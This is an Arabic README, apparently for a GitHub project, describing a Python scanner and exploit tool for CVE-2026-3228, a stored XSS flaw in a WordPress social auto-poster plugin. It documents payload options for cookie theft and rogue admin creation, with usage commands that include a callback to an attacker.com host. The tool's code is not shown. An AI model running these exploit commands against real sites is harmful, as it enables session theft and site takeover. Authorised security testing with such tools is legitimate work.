
يفحص ويستغل ثغرة CVE-2026-3228، وهي ثغرة XSS مخزّنة في إضافة NextScripts الخاصة بووردبريس، مع اكتشاف قبل المصادقة، وفحوصات بعد المصادقة، وحقن حمولات لأغراض إثبات المفهوم، أو سرقة ملفات تعريف الارتباط، أو إنشاء حساب مسؤول.
CVE-2026-3228 - ماسح واستغلال XSS المخزّن في إضافة NextScripts لووردبريس
https://img.shields.io/badge/python-3.6+-blue.svg
https://img.shields.io/badge/license-MIT-green
https://img.shields.io/badge/WordPress-Plugin-red
المؤلف: NULL200OK
أداة شاملة بلغة Python لفحص واستغلال CVE-2026-3228، وهي ثغرة XSS مخزّنة (Stored Cross-Site Scripting) في إضافة NextScripts: Social Networks Auto-Poster لووردبريس (الإصدارات ≤ 4.4.6).
تسمح الثغرة للمستخدمين المصادق عليهم بمستوى وصول Contributor أو أعلى بحقن JavaScript تعسفي عبر الكود المختصر [nxs_fbembed]. عندما يعرض مسؤول الموقع المنشور المصاب، يتم تنفيذ السكربت في متصفحه، مما قد يؤدي إلى اختطاف الجلسة، أو إنشاء حساب مسؤول، أو اختراق الموقع.
📦 الميزات
info – عرض معلومات مفصّلة عن CVE (الوصف، السبب الجذري، التأثير).
scan – فحص ما قبل المصادقة لاكتشاف الإضافة وإصدارها.
check – فحص شامل مع بيانات الاعتماد (تسجيل الدخول، التحقق من الصلاحيات، اكتشاف الإصدار).
exploit – حقن حمولات XSS خبيثة في منشور جديد باستخدام الكود المختصر الضعيف.
أنواع متعددة من الحمولات:
alert – صندوق تنبيه بسيط لإثبات المفهوم.
cookie – سرقة ملفات تعريف الارتباط للجلسة وإرسالها إلى عنوان URL للاستدعاء.
admin – محاولة إنشاء مستخدم مسؤول جديد (يتطلب أن يعرض المسؤول الصفحة).
html – حقن HTML أساسي مع أحداث onerror.
custom – JavaScript يوفّره المستخدم.
all – حقن جميع أنواع الحمولات في منشورات منفصلة.
مصادقة تلقائية – تتعامل مع تسجيل دخول ووردبريس، وإدارة الجلسة، واستخراج nonce.
طرق حقن احتياطية – تحاول استخدام REST API أولاً، ثم إرسال النموذج التقليدي.
مخرجات سهلة الاستخدام – رسائل حالة ملوّنة وإرشادات واضحة خطوة بخطوة.
🚨 نظرة عامة على الثغرة
معرّف CVE: CVE-2026-3228
درجة CVSS: 6.4 (متوسطة)
الإضافة المتأثرة: NextScripts: Social Networks Auto-Poster ≤ 4.4.6
السبب الجذري:
عدم كفاية تنظيف المدخلات لقيمة snapFB الوصفية للمنشور.
عدم كفاية تهريب المخرجات عند عرض الكود المختصر [nxs_fbembed].
الصلاحيات المطلوبة: حساب بمستوى Contributor أو أعلى.
التأثير: يمكن للمهاجم تنفيذ JavaScript تعسفي في سياق أي مستخدم (بما في ذلك المسؤولين) يعرض المنشور المصاب، مما يؤدي إلى اختراق كامل للموقع.
⚙️ المتطلبات
Python 3.6+
requests
beautifulsoup4
تثبيت التبعيات:
bash
pip install requests beautifulsoup4
🔧 التثبيت
bash
cd CVE-2026-3228
📚 الاستخدام
text
usage: CVE-2026-3228.py [-h] {info,scan,check,exploit} ...
CVE-2026-3228 - ماسح واستغلال XSS المخزّن في إضافة NextScripts لووردبريس
الوسائط الموضعية:
{info,scan,check,exploit}
info عرض معلومات مفصّلة عن CVE
scan التحقق مما إذا كان الهدف عرضة للثغرة (قبل المصادقة)
check فحص شامل مع بيانات الاعتماد
exploit استغلال الثغرة (يتطلب بيانات اعتماد صالحة)
الوسائط الاختيارية:
-h, --help عرض رسالة المساعدة هذه والخروج
bash
python3 CVE-2026-3228.py info
bash
python3 CVE-2026-3228.py scan https://example.com
bash
python3 CVE-2026-3228.py check https://example.com -u contributor -p password
حمولة تنبيه أساسية (PoC)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type alert
سرقة ملفات تعريف الارتباط (يتطلب مستمعًا)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type cookie --callback-url https://attacker.com/steal
محاولة إنشاء مستخدم مسؤول (عندما يعرض المسؤول الصفحة)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type admin
حقن جميع أنواع الحمولات
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type all
JavaScript مخصص
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type custom --custom-js "console.log('pwned')"
🧠 كيف تعمل الأداة (خطوة بخطوة)
المصادقة – يسجّل السكربت الدخول إلى ووردبريس باستخدام بيانات الاعتماد المقدَّمة ويحافظ على جلسة.
التحقق من الصلاحيات – يتحقق من أن المستخدم المسجَّل لديه على الأقل وصول بمستوى Contributor (مطلوب لإنشاء المنشورات).
توليد الحمولة – ينشئ حمولات JavaScript بناءً على النوع المختار.
الحقن – ينشئ منشورًا جديدًا يحتوي على الكود المختصر الضعيف [nxs_fbembed]. يتم وضع السكربت الخبيث في حقل snapFB الوصفي للمنشور، والذي لا يتم تنظيفه بشكل صحيح بواسطة الإضافة.
التخزين – يتم نشر المنشور (أو حفظه كمسودة) ويتم تخزين الحمولة في قاعدة البيانات.
التشغيل – عندما يعرض مسؤول (أو أي مستخدم) المنشور، يتم عرض السكربت غير المنقّى وتنفيذه في متصفحه.
ما بعد الاستغلال – اعتمادًا على الحمولة، يمكن للمهاجم سرقة ملفات تعريف الارتباط، أو إنشاء حسابات مسؤول، أو تنفيذ إجراءات أخرى.
يحاول السكربت الحقن عبر WordPress REST API أولاً (أسرع وأنظف). إذا فشل ذلك، يتراجع إلى إرسال النموذج التقليدي، مستخرجًا الـ nonces المطلوبة من صفحة محرر المنشور.
⚠️ إخلاء المسؤولية
هذه الأداة مقدَّمة لأغراض تعليمية واختبارات أمنية مصرَّح بها فقط. الاستخدام غير المصرَّح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني. لا يتحمّل المؤلف (NULL200OK) أي مسؤولية ولا يكون مسؤولًا عن أي إساءة استخدام أو ضرر ناتج عن هذا السكربت.
📄 الترخيص
هذا المشروع مرخَّص بموجب رخصة MIT – راجع ملف LICENSE للحصول على التفاصيل.
📬 المراجع
MITRE CVE‑2026‑3228 (placeholder)
دليل إضافات ووردبريس
OWASP Stored XSS